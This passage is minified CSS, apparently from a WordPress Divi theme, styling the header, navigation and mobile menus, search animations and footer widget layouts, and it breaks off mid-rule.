#et-secondary-menu li,#top-menu li{word-wrap:break-word}.nav li ul,.et_mobile_menu{border-color:#2EA3F2}.mobile_menu_bar:before,.mobile_menu_bar:after,#top-menu li.current-menu-ancestor>a,#top-menu li.current-menu-item>a{color:#2EA3F2}#main-header{-webkit-transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s}#main-header.et-disabled-animations *{-webkit-transition-duration:0s !important;transition-duration:0s !important}.container{text-align:left;position:relative}.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container{padding-top:111px}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled.et_header_style_centered #page-container{padding-top:177px}.et_fixed_nav.et_show_nav.et_header_style_centered #page-container{padding-top:147px}.et_fixed_nav #main-header{position:fixed}.et-cloud-item-editor #page-container{padding-top:0 !important}.et_header_style_left #et-top-navigation{padding-top:33px}.et_header_style_left #et-top-navigation nav>ul>li>a{padding-bottom:33px}.et_header_style_left .logo_container{position:absolute;height:100%;width:100%}.et_header_style_left #et-top-navigation .mobile_menu_bar{padding-bottom:24px}.et_hide_search_icon #et_top_search{display:none !important}#logo{width:auto;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;margin-bottom:0;max-height:54%;display:inline-block;float:none;vertical-align:middle;-webkit-transform:translate3d(0, 0, 0)}.et_pb_svg_logo #logo{height:54%}.logo_container{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}span.logo_helper{display:inline-block;height:100%;vertical-align:middle;width:0}.safari .centered-inline-logo-wrap{-webkit-transform:translate3d(0, 0, 0);-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et-define-logo-wrap img{width:100%}.gecko #et-define-logo-wrap.svg-logo{position:relative !important}#top-menu-nav,#top-menu{line-height:0}#et-top-navigation{font-weight:600}.et_fixed_nav #et-top-navigation{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-cart-info span:before{content:"\e07a";margin-right:10px;position:relative}nav#top-menu-nav,#top-menu,nav.et-menu-nav,.et-menu{float:left}#top-menu li{display:inline-block;font-size:14px;padding-right:22px}#top-menu>li:last-child{padding-right:0}.et_fullwidth_nav.et_non_fixed_nav.et_header_style_left #top-menu>li:last-child>ul.sub-menu{right:0}#top-menu a{color:rgba(0,0,0,0.6);text-decoration:none;display:block;position:relative;-webkit-transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out;transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out}#top-menu-nav>ul>li>a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et_search_icon:before{content:"\55";font-size:17px;left:0;position:absolute;top:-3px}#et_search_icon:hover{cursor:pointer}#et_top_search{float:right;margin:3px 0 0 22px;position:relative;display:block;width:18px}#et_top_search.et_search_opened{position:absolute;width:100%}.et-search-form{top:0;bottom:0;right:0;position:absolute;z-index:1000;width:100%}.et-search-form input{width:90%;border:none;color:#333;position:absolute;top:0;bottom:0;right:30px;margin:auto;background:transparent}.et-search-form .et-search-field::-ms-clear{width:0;height:0;display:none}.et_search_form_container{-webkit-animation:none;animation:none;-o-animation:none}.container.et_search_form_container{position:relative;opacity:0;height:1px}.container.et_search_form_container.et_pb_search_visible{z-index:999;-webkit-animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_search_visible.et_pb_no_animation{opacity:1}.et_pb_search_form_hidden{-webkit-animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}span.et_close_search_field{display:block;width:30px;height:30px;z-index:99999;position:absolute;right:0;cursor:pointer;top:0;bottom:0;margin:auto}span.et_close_search_field:after{font-family:'ETmodules';content:'\4d';speak:none;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:32px;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box}.container.et_menu_container{z-index:99}.container.et_search_form_container.et_pb_search_form_hidden{z-index:1 !important}.et_search_outer{width:100%;overflow:hidden;position:absolute;top:0}.container.et_pb_menu_hidden{z-index:-1}form.et-search-form{background:rgba(0,0,0,0) !important}input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.et-cart-info{color:inherit}#et-top-navigation .et-cart-info{float:left;margin:-2px 0 0 22px;font-size:16px}#et-top-navigation{float:right}#top-menu li li{padding:0 20px;margin:0}#top-menu li li a{padding:6px 20px;width:200px}.nav li.et-touch-hover>ul{opacity:1;visibility:visible}#top-menu .menu-item-has-children>a:first-child:after,#et-secondary-nav .menu-item-has-children>a:first-child:after{font-family:'ETmodules';content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}#top-menu .menu-item-has-children>a:first-child,#et-secondary-nav .menu-item-has-children>a:first-child{padding-right:20px}#top-menu li .menu-item-has-children>a:first-child{padding-right:40px}#top-menu li .menu-item-has-children>a:first-child:after{right:20px;top:6px}#top-menu li.mega-menu{position:inherit}#top-menu li.mega-menu>ul{padding:30px 20px;position:absolute !important;width:100%;left:0 !important}#top-menu li.mega-menu ul li{margin:0;float:left !important;display:block !important;padding:0 !important}#top-menu li.mega-menu>ul>li:nth-of-type(4n){clear:right}#top-menu li.mega-menu>ul>li:nth-of-type(4n+1){clear:left}#top-menu li.mega-menu ul li li{width:100%}#top-menu li.mega-menu li>ul{-webkit-animation:none !important;animation:none !important;padding:0px;border:none;left:auto;top:auto;width:90% !important;position:relative;-webkit-box-shadow:none;box-shadow:none}#top-menu li.mega-menu li ul{visibility:visible;opacity:1;display:none}#top-menu li.mega-menu.et-hover li ul{display:block}#top-menu li.mega-menu.et-hover>ul{opacity:1 !important;visibility:visible !important}#top-menu li.mega-menu>ul>li>a{width:90%;padding:0 20px 10px}#top-menu li.mega-menu>ul>li>a:first-child{padding-top:0 !important;font-weight:bold;border-bottom:1px solid rgba(0,0,0,0.03)}#top-menu li.mega-menu>ul>li>a:first-child:hover{background-color:transparent !important}#top-menu li.mega-menu li>a{width:100%}#top-menu li.mega-menu.mega-menu-parent li li,#top-menu li.mega-menu.mega-menu-parent li>a{width:100% !important}#top-menu li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100% !important}#top-menu li.mega-menu>ul>li{width:25%;margin:0}#top-menu li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}#top-menu li.mega-menu.mega-menu-parent-2>ul>li{width:50%}#top-menu li.mega-menu.mega-menu-parent-1>ul>li{width:100%}#top-menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}#top-menu li.mega-menu>ul>li>ul>li{width:100%;margin:0}#et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before,.et_toggle_slide_menu:after{content:"\61";font-size:32px;left:0;position:relative;top:0;cursor:pointer}.mobile_nav .select_page{display:none}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .et-cart-info{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .et-cart-info{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .mobile_menu_bar{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .mobile_menu_bar{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_no_animation #top-menu,.et_pb_no_animation #et_search_icon:before,.et_pb_no_animation .mobile_menu_bar,.et_pb_no_animation.et_search_form_container{animation:none !important;-o-animation:none !important;-webkit-animation:none !important;-moz-animation:none !important}body.admin-bar.et_fixed_nav #main-header{top:32px}body.et-wp-pre-3_8.admin-bar.et_fixed_nav #main-header{top:28px}body.et_fixed_nav.et_secondary_nav_enabled #main-header{top:30px}body.admin-bar.et_fixed_nav.et_secondary_nav_enabled #main-header{top:63px}@media all and (min-width: 981px){.et_hide_primary_logo #main-header:not(.et-fixed-header) .logo_container,.et_hide_fixed_logo #main-header.et-fixed-header .logo_container{height:0;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et_hide_primary_logo #main-header:not(.et-fixed-header) .centered-inline-logo-wrap,.et_hide_fixed_logo #main-header.et-fixed-header .centered-inline-logo-wrap{height:0;opacity:0;padding:0}.et-animated-content#page-container{-webkit-transition:margin-top 0.4s ease-in-out;transition:margin-top 0.4s ease-in-out}.et_hide_nav #page-container{-webkit-transition:none;transition:none}.et_fullwidth_nav .et-search-form,.et_fullwidth_nav .et_close_search_field{right:30px}#main-header.et-fixed-header{-webkit-box-shadow:0 0 7px rgba(0,0,0,0.1) !important;box-shadow:0 0 7px rgba(0,0,0,0.1) !important}.et_header_style_left .et-fixed-header #et-top-navigation{padding-top:20px}.et_header_style_left .et-fixed-header #et-top-navigation nav>ul>li>a{padding-bottom:20px}.et_hide_nav.et_fixed_nav #main-header{opacity:0}.et_hide_nav.et_fixed_nav .et-fixed-header#main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}.et_hide_nav .centered-inline-logo-wrap,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav .centered-inline-logo-wrap{-webkit-transition-duration:.7s;transition-duration:.7s}.et_hide_nav #page-container{padding-top:0 !important}.et_primary_nav_dropdown_animation_fade #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_fade #et-secondary-nav li:hover>ul{-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.et_primary_nav_dropdown_animation_slide #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_slide #et-secondary-nav li:hover>ul{-webkit-animation:fadeLeft .4s ease-in-out;animation:fadeLeft .4s ease-in-out}.et_primary_nav_dropdown_animation_expand #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_expand #et-secondary-nav li:hover>ul{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-animation:Grow .4s ease-in-out;animation:Grow .4s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav ul li:hover>ul{-webkit-animation:flipInX .6s ease-in-out;animation:flipInX .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav li:hover>ul{-webkit-animation:flipInY .6s ease-in-out;animation:flipInY .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_fullwidth_nav #main-header .container{width:100%;max-width:100%;padding-right:32px;padding-left:30px}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left #main-header .container{padding-left:0}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left .logo_container{padding-left:30px}}@media all and (max-width: 980px){.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container,.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_non_fixed_nav #page-container{padding-top:0}.et_fixed_nav.et_secondary_nav_only_menu.admin-bar #main-header{top:32px !important}.et_hide_mobile_logo #main-header .logo_container{display:none;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#top-menu{display:none}.et_hide_nav.et_fixed_nav #main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}#et-top-navigation{margin-right:0;-webkit-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left .et-fixed-header #et-top-navigation,.et_header_style_left #et-top-navigation{padding-top:24px;display:block}.et_fixed_nav #main-header{-webkit-transition:none;transition:none}.et_fixed_nav_temp #main-header{top:0 !important}#logo,.logo_container,#main-header,.container{-webkit-transition:none;transition:none}.et_header_style_left #logo{max-width:50%}#et_top_search{margin:0 35px 0 0;float:left}#et_search_icon:before{top:7px}.et_header_style_left .et-search-form{width:50% !important;max-width:50% !important}#et_mobile_nav_menu{display:block}#et-top-navigation .et-cart-info{margin-top:5px}}@media screen and (max-width: 782px){body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 767px){#et-top-navigation{margin-right:0}body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 479px){#et-top-navigation{margin-right:0}}@media print{#top-header,#main-header{position:relative !important;top:auto !important;right:auto !important;bottom:auto !important;left:auto !important}}
@-webkit-keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@-webkit-keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@-webkit-keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}/*!
	  * Animate.css - http://daneden.me/animate
	  * Licensed under the MIT license - http://opensource.org/licenses/MIT
	  * Copyright (c) 2015 Daniel Eden
	 */@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}
#main-header{line-height:23px;font-weight:500;top:0;background-color:#fff;width:100%;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);position:relative;z-index:99999}.nav li li{padding:0 20px;margin:0}.et-menu li li a{padding:6px 20px;width:200px}.nav li{position:relative;line-height:1em}.nav li li{position:relative;line-height:2em}.nav li ul{position:absolute;padding:20px 0;z-index:9999;width:240px;background:#fff;visibility:hidden;opacity:0;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-transform:translateZ(0);text-align:left}.nav li.et-hover>ul{visibility:visible}.nav li.et-touch-hover>ul,.nav li:hover>ul{opacity:1;visibility:visible}.nav li li ul{z-index:1000;top:-23px;left:240px}.nav li.et-reverse-direction-nav li ul{left:auto;right:240px}.nav li:hover{visibility:inherit}.et_mobile_menu li a,.nav li li a{font-size:14px;-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.et_mobile_menu li a:hover,.nav ul li a:hover{background-color:rgba(0,0,0,.03);opacity:.7}.et-dropdown-removing>ul{display:none}.mega-menu .et-dropdown-removing>ul{display:block}.et-menu .menu-item-has-children>a:first-child:after{font-family:ETmodules;content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}.et-menu .menu-item-has-children>a:first-child{padding-right:20px}.et-menu li li.menu-item-has-children>a:first-child:after{right:20px;top:6px}.et-menu-nav li.mega-menu{position:inherit}.et-menu-nav li.mega-menu>ul{padding:30px 20px;position:absolute!important;width:100%;left:0!important}.et-menu-nav li.mega-menu ul li{margin:0;float:left!important;display:block!important;padding:0!important}.et-menu-nav li.mega-menu li>ul{-webkit-animation:none!important;animation:none!important;padding:0;border:none;left:auto;top:auto;width:240px!important;position:relative;box-shadow:none;-webkit-box-shadow:none}.et-menu-nav li.mega-menu li ul{visibility:visible;opacity:1;display:none}.et-menu-nav li.mega-menu.et-hover li ul,.et-menu-nav li.mega-menu:hover li ul{display:block}.et-menu-nav li.mega-menu:hover>ul{opacity:1!important;visibility:visible!important}.et-menu-nav li.mega-menu>ul>li>a:first-child{padding-top:0!important;font-weight:700;border-bottom:1px solid rgba(0,0,0,.03)}.et-menu-nav li.mega-menu>ul>li>a:first-child:hover{background-color:transparent!important}.et-menu-nav li.mega-menu li>a{width:200px!important}.et-menu-nav li.mega-menu.mega-menu-parent li>a,.et-menu-nav li.mega-menu.mega-menu-parent li li{width:100%!important}.et-menu-nav li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100%!important}.et-menu-nav li.mega-menu>ul>li{width:25%;margin:0}.et-menu-nav li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}.et-menu-nav li.mega-menu.mega-menu-parent-2>ul>li{width:50%}.et-menu-nav li.mega-menu.mega-menu-parent-1>ul>li{width:100%}.et_pb_fullwidth_menu li.mega-menu .menu-item-has-children>a:first-child:after,.et_pb_menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}.et_fullwidth_nav #top-menu li.mega-menu>ul{width:auto;left:30px!important;right:30px!important}.et_mobile_menu{position:absolute;left:0;padding:5%;background:#fff;width:100%;visibility:visible;opacity:1;display:none;z-index:9999;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1)}#main-header .et_mobile_menu li ul,.et_pb_fullwidth_menu .et_mobile_menu li ul,.et_pb_menu .et_mobile_menu li ul{visibility:visible!important;display:block!important;padding-left:10px}.et_mobile_menu li li{padding-left:5%}.et_mobile_menu li a{border-bottom:1px solid rgba(0,0,0,.03);color:#666;padding:10px 5%;display:block}.et_mobile_menu .menu-item-has-children>a{font-weight:700;background-color:rgba(0,0,0,.03)}.et_mobile_menu li .menu-item-has-children>a{background-color:transparent}.et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before{content:"a";font-size:32px;position:relative;left:0;top:0;cursor:pointer}.et_pb_module .mobile_menu_bar:before{top:2px}.mobile_nav .select_page{display:none}
.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 